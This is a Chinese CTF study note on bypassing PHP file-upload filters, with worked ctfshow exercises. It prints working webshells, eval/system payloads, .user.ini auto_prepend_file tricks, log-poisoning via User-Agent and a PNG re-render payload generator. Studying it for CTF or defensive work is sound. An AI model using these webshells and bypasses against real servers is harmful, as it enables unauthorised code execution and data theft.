【心得】PHP的文件上传个人笔记

目录

1 php的文件上传绕过 黑名单绕过

2 php文件上传的00截断

3 iconv字符转换异常后造成了字符截断

4 文件后缀是白名单的时候的绕过

  web服务器的解析漏洞绕过

5.高级文件上传绕过 

  1  .htaccess nginx.htaccess

2 服务端内容检测

3 配合伪协议来绕过

4.配合日志包含绕过

 5 上传html来xss 执行跨站脚本

6 getimagesize函数绕过

7 png二次渲染绕过

8 jpg二次渲染绕过

9 phar文件上传绕过


1 php的文件上传绕过 黑名单绕过

后缀替换为空时,我们通过提交  1.pphphp 替换php为空后,得到1.php   成功写入木马

php3 php5 phps phtml

php后缀替换为txt时,我们无法双写绕过,1.pphphp  1.ptxthp

例题1:web42

先随便上传一个马子

发现php后缀被替换为空

 

尝试双写绕过

访问/upload/yjh.php

成功写入,下略

2 php文件上传的00截断

  hello world

  hello空格world\n\00

  123.php  明显不让直接上传

  123.php%00.jpg 那么后台判断的时候,取最后一个点后面的字符作为后缀  jpg  看起来是合法的文件名称

  ./upload/123.php%00.jpg   ->  ./upload/123.php

  00字符截断需要的版本 

  php版本小于5.3.4  而最新的php版本已经达到8.1
  java版本小于7u40,而最新的java版本已经达到20以上


3 iconv字符转换异常后造成了字符截断

php在文件上传场景下的文件名字符集转换时,可能出现截断问题

utf-8字符集  默认的字符编码范围的是0x00-0x7f  

iconv转换的字符不在上面这个范围之内,低版本的php会报异常,报了异常以后,后续字符不再处理

就会造成截断问题

  123.php%df.jpg   123.php

  php版本低于5.4才可以使用  

4 文件后缀是白名单的时候的绕过

  白名单:只准上传这几个后缀   因为匹配的内容少  所以限制的范围就大
  黑名单:不准上传这几个后缀   因为匹配的内容多  所以限制的范围就小 仅限于自己制定的几个,除了这几个,其他都行

  web服务器的解析漏洞绕过

  apache 
        a 多后缀解析漏洞  当我们上传apache不认识的后缀时,apahce会继续往前找后缀,找到认识的就解析执行

          123.txt.ctfshow  123.txt  文本文档形式解析

          123.php.ctfshow  123.php  就交给中间件处理php脚本

        b ImageMagic组件白名单绕过

          目标主机安装了这个漏洞版本的ImageMagic插件 <=3.3.0
          在php.ini中启用了这个插件
          通过了php new Imageick 对象的方式来处理图片时
          且 php版本大于 5.4时  

          才可以使用,上传特定的svg图片,来实现组件的缺陷导致任意代码执行

  nginx  基于错误的nginx配置 和 php-fpm配置,当我们访问  123.txt/123.php  
      
         cgi.fix_pathinfo 默认开启  123.txt/123.php  当123.php不存在时,会找/前面的文件进行php解析,这时候,就成功解析了123.txt为php脚本了

  iis   Windows下使用  iis6.0版本中,如果解析的目录名字为 xxx.asp 那么里面的所有文件,都会按照asp来解析 123.txt  WindowsXP  Windows Server 2003 

例题2:web43

随便上传一个文件

后缀白名单txt 

抓个包看下响应头,发现是nginx

这里利用nginx解析漏洞

先上传一个yjh3.txt

内容<?php @eval($_POST['cmd']);?>

上传成功,访问/upload/yjh3.txt/suibian.php

成功访问

post传:cmd=system('tac /f*');

5.高级文件上传绕过 


  1  .htaccess nginx.htaccess

     php.ini     

     虚拟主机时代     一个物理服务器,里面可能存放几十上百个网站   每个网站,一个目录 

     A 网站  需要这样的php.ini配置
     B 网站  却需要那样的php.ini配置
     C 网站  又需要另外的php.ini配置 

     总的php.ini不动,A B C 3个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录 

     自定义配置文件   .htaccess nginx.htaccess

     在nginx 下,默认使用.user.ini 配置文件来进行php的配置

     使用

     auto_append_file=123.txt  来让任意的php文件包含123.txt,执行里面的php代码
 

例题3:web44

抓包发现是nginx,考虑用.user.ini

.user.ini

GIF89a
auto_prepend_file=yjh3.txt 

yjh3.txt

<?php eval($_POST['cmd']);?>

最后在index.php中post:cmd=system('tac /f*');

(本质是文件上传配合文件包含实现rce的效果)

2 服务端内容检测

不局限检测文件名,还会检测文件的后缀 文件的内容 

<?php system eval $_POST

二分法确定出被检测的关键字,使用替代语法绕过

例题4:web45

在上一题基础上还加了个文件内容检测

随便上传一个txt文件,回显内容非法

二分法多试几次修改成<?=eval($_COOKIE[1]); 

因为cookie中如;的一些特殊字符不能出现

所以最终payload:

1=eval(base64_decode('c3lzdGVtKCd0YWMgL2YqJyk7'))?>

3 配合伪协议来绕过


例题5:web46

这题真是惊掉下巴了,还有这种姿势hhh

.user.ini内容

 抓包,传post

真乃神技也 ()

4.配合日志包含绕过

例题6:web47

同格局打开

直接UA写马

<?php system('tac /f*');?>

 5 上传html来xss 执行跨站脚本

这个之后展开来讲,先按下不表

6 getimagesize函数绕过

  getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传

  XBM 格式图片 

  #define %s %d 这种形式,就认为时XBM图片的高或者宽

例题7:web48

这题用web47的payload也可以通杀(因为自己有加GIF89a的好习惯)

当然也可以这样写.user.ini

注意:如果是apache的.htaccess

则不能直接加GIF89a,否则不能解析,此时必须要#define来绕过

7 png二次渲染绕过

正常做法:move_uploaded_file 方式移动我们上传的临时文件到上传目录去

二次渲染做法:通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片 里面的php代码就会被清洗掉

所以,我们需要使用特殊的方式,来构造我们的图片

贴一段生成脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

 生成图片,再提交,发现存在一个文件包含,那得了,直接rce

(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)

 拿到flag

8 jpg二次渲染绕过

  使用专用图来生成jpg木马,实现经过二次渲染后,我们的恶意代码,依然能够保留在图片中,通过文件包含,执行里面的php代码

9 phar文件上传绕过

 之前文章有总结过,不多说


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/163131.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

云课五分钟-0ALinux文件系统及权限-查询命令如何使用

前篇&#xff1a; 云课五分钟-09Linux基础命令实践-AI助力快速入门 视频&#xff1a; 云课五分钟-0ALinux文件系统及权限-查询命令如何使用 文本&#xff1a; Linux文件系统及权限示例教程&#xff08;Ubuntu&#xff09; 一、Linux文件系统基础 在Linux中&#xff0c;一切…

〖大前端 - 基础入门三大核心之JS篇㊲〗- DOM改变元素节点的css样式、HTML属性

说明&#xff1a;该文属于 大前端全栈架构白宝书专栏&#xff0c;目前阶段免费&#xff0c;如需要项目实战或者是体系化资源&#xff0c;文末名片加V&#xff01;作者&#xff1a;不渴望力量的哈士奇(哈哥)&#xff0c;十余年工作经验, 从事过全栈研发、产品经理等工作&#xf…

WordPress主题WoodMart v7.3.2 WooCommerce主题和谐汉化版下载

WordPress主题WoodMart v7.3.2 WooCommerce主题和谐汉化版下载 WoodMart是一款出色的WooCommerce商店主题&#xff0c;它不仅提供强大的电子商务功能&#xff0c;还与流行的Elementor页面编辑器插件完美兼容。 主题文件在WoodMart Theme/woodmart.7.3.2.zip&#xff0c;核心在P…

【SQL server】 表结构的约束和维护

表结构的约束和维护 修改表结构 (1)添加列 (2)删除列 (3)修改列alter table 表名 add 新列名 数据类型给员工表添加一列邮箱 alter table People add PeopleMail varchar(200)删除列 alter table People drop column PeopleMain修改列 alter table 表名 alter column 列名 数据…

基于海洋捕食者算法优化概率神经网络PNN的分类预测 - 附代码

基于海洋捕食者算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于海洋捕食者算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于海洋捕食者优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针…

基于传统Session的登录

前言&#xff1a; 本人的一些简历上要回答的点。所以再此整理。 亮点&#xff1a; 使用Filter过滤器进行未登录状态自动跳转到登录页面的拦截&#xff0c;实现统一的权限管理。 1 登陆功能 1.1实体类和结果类 前端页面 约定 res.data.code为1时是登录成功。 数据库的empl…

DPAFNet:一种用于多模式脑肿瘤分割的残差双路径注意力融合卷积神经网络

DPAFNet: A Residual Dual-Path Attention-Fusion Convolutional Neural Network for Multimodal Brain Tumor Segmentation DPAFNet&#xff1a;一种用于多模式脑肿瘤分割的残差双路径注意力融合卷积神经网络背景贡献实验方法ulti-scale context feature extraction block&…

python趣味编程-5分钟实现一个益智数独游戏(含源码、步骤讲解)

Puzzle Game In Python是用 Python 编程语言Puzzle Game Code In Python编写的,有一个 4*4 的棋盘,有 15 个数字。然后将数字随机洗牌。 在本教程中,我将教您如何使用Python 创建记忆谜题游戏。 Python Puzzle Game游戏需要遵循以下步骤,首先是将图块数量移动到空的图块空…

浏览器黑暗模式插件

1.Opera浏览器本身黑暗主题 2.Chrome 3.Edge

【心得】PHP文件包含基本利用个人笔记

本文可能比较凌乱&#xff0c;快速总结保证自己看得懂&#xff08;真.个人笔记&#xff09; 文件包含的本质&#xff1a;代码复用、并行开发、模块化、增加移植性 include和eval的区别&#xff1a; include和eval一样&#xff0c;都不是函数&#xff0c;都是语言结构&#xf…

交通 | 神奇动物在哪里?Operations Research经典文章

论文作者&#xff1a;Robert G. Haight, Charles S. Revelle, Stephanie A. Snyder​ 论文原文&#xff1a;Robert G. Haight, Charles S. Revelle, Stephanie A. Snyder, (2000) An Integer Optimization Approach to a Probabilistic Reserve Site Selection Problem. Operat…

9 HDFS架构剖析

问题 100台服务器&#xff0c;存储空间单个200GB 20T 5T文件如何存储&#xff1f; 128MB一块 128MB81GB 1288*10241TB 5T数据分成的128MB的块数 8192 * 5 客户端(client)代表用户通过与namenode和datanode交互来访问整个文件系统。 HDFS集群有两类节点&#xff1a; 一个na…

Linux进程——exec族函数、exec族函数与fork函数的配合

exec族函数解析 作用 我们用fork函数创建新进程后&#xff0c;经常会在新进程中调用exec函数去执行另外一个程序。当进程调用exec函数时&#xff0c;该进程被完全替换为新程序。因为调用exec函数并不创建新进程&#xff0c;所以前后进程的ID并没有改变。 功能 在调用进程内部…

C/C++数据结构之堆栈(Stack):理解、实现与运用

当我们讨论堆栈时&#xff0c;我们首先需要了解它的概念和基本原理。堆栈是一种后进先出&#xff08;Last In, First Out&#xff0c;LIFO&#xff09;的数据结构&#xff0c;它的操作主要包括压栈&#xff08;Push&#xff09;和弹栈&#xff08;Pop&#xff09;&#xff0c;以…

SEnet注意力机制(逐行代码注释讲解)

目录 ⒈结构图 ⒉机制流程讲解 ⒊源码&#xff08;pytorch框架实现&#xff09;及逐行解释 ⒋测试结果 ⒈结构图 左边是我自绘的&#xff0c;右下角是官方论文的。 ⒉机制流程讲解 通道注意力机制的思想是&#xff0c;对于输入进来的特征层&#xff0c;我们在每一个通道学…

基于STM32的多组外部中断(EXTI)的优化策略与应用

在某些嵌入式应用中&#xff0c;可能需要同时处理多个外部中断事件。STM32系列微控制器提供了多组外部中断线&#xff08;EXTI Line&#xff09;&#xff0c;可以同时配置和使用多个GPIO引脚作为外部中断触发器。为了有效管理和处理多组外部中断&#xff0c;我们可以采取一些优…

Linux非阻塞等待示例

Linux非阻塞等待实例 非阻塞等待的意义&#xff1a;简单的多进程编程示例代码解释 非阻塞等待的意义&#xff1a; 非阻塞等待在多进程编程中的意义主要体现在提高系统的响应性、实现异步任务执行、动态任务管理和多任务协同工作等方面。它允许父进程在等待子进程退出的同时&…

优化|优化求解器自动调参

原文信息&#xff1a;MindOpt Tuner: Boost the Performance of Numerical Software by Automatic Parameter Tuning 作者&#xff1a;王孟昌 &#xff08;达摩院决策智能实验室MindOpt团队成员&#xff09; 一个算法开发者&#xff0c;可能会幻想进入这样的境界&#xff1a;算…

C++题目练习第二十天__有效的完全平方数

题目链接&#xff1a; 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目&#xff1a; 给你一个正整数 num 。如果 num 是一个完全平方数&#xff0c;则返回 true &#xff0c;否则返回 false 。 完全平方数 是一个可以写成某个整数的平方的整数。…

Android 弹出自定义对话框

Android在任意Activity界面弹出一个自定义的对话框&#xff0c;效果如下图所示: 准备一张小图片&#xff0c;右上角的小X图标64*64&#xff0c;close_icon.png&#xff0c;随便找个小图片代替&#xff1b; 第一步&#xff1a;样式添加&#xff0c;注意&#xff1a;默认在value…